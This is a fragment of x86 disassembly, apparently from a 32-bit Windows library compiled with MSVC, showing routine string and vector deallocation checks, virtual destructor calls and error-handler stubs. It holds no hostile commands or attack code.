add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
push 0
push 0x100f1e88
lea ecx, [ebp - 0x1c]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x7c]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x64]
call fcn.100b2e90
inc dword [0x10103a08]
mov edi, dword [ebp - 0xac]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xa8]
sub ecx, edi
imul ecx
lea eax, [ebp - 0x88]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmovne eax, edi
mov edx, dword [eax]
lea eax, [ebp - 0x88]
sub edx, dword [ebp - 0xb4]
test ecx, ecx
cmovne eax, edi
cmp byte [eax + 8], 0
je 0x1008cc3a
mov ecx, dword [eax]
mov eax, dword [eax + 4]
jmp 0x1008cc3e
xor eax, eax
xor ecx, ecx
mov ebx, dword [ebp - 0x68]
sub eax, ecx
mov edi, dword [ebp - 0x50]
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008be90
call dword [0x101039b8]
cmp edi, 0x10
jb 0x1008cc8c
mov ecx, dword [ebp - 0x64]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x1008cc82
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef9
push edi
push ecx
call fcn.100becc4
add esp, 8
cmp ebx, 0x10
jb 0x1008ccbd
mov ecx, dword [ebp - 0x7c]
inc ebx
mov eax, ecx
cmp ebx, 0x1000
jb 0x1008ccb3
mov ecx, dword [ecx - 4]
add ebx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef9
push ebx
push ecx
call fcn.100becc4
add esp, 8
mov eax, dword [ebp - 8]
cmp eax, 0x10
jb 0x1008ccf3
mov ecx, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cce9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef9
push edx
push ecx
call fcn.100becc4
add esp, 8
mov esi, dword [ebp - 0xac]
test esi, esi
je 0x1008cd61
mov ecx, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x1008cd39
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef9
push ecx
push esi
call fcn.100becc4
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
lea ecx, [ebp - 0xc8]
call fcn.100b29e0
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x1008cd87
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008cd87
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xdc]
call fcn.100b29e0
mov ecx, dword [ebp - 0xcc]
test ecx, ecx
je 0x1008cdad
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008cdad
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf0]
call fcn.100b29e0
mov ecx, dword [ebp - 0xe0]
test ecx, ecx
je 0x1008cdd3
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008cdd3
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x1008ce07
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cdfd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cefe
push edx
push ecx
call fcn.100becc4
add esp, 8
movups xmm0, xmmword [ebp - 0x34]
mov ebx, dword [ebp - 0x144]
mov edx, dword [ebp + 0x1c]
mov byte [ebp - 0x34], 0
movups xmmword [ebx], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [ebx + 0x10], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
cmp edx, 0x10
jb 0x1008ce64
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ce5a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x1008cea6
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ce9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008bbf2
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bbe8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008bbe8
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
int3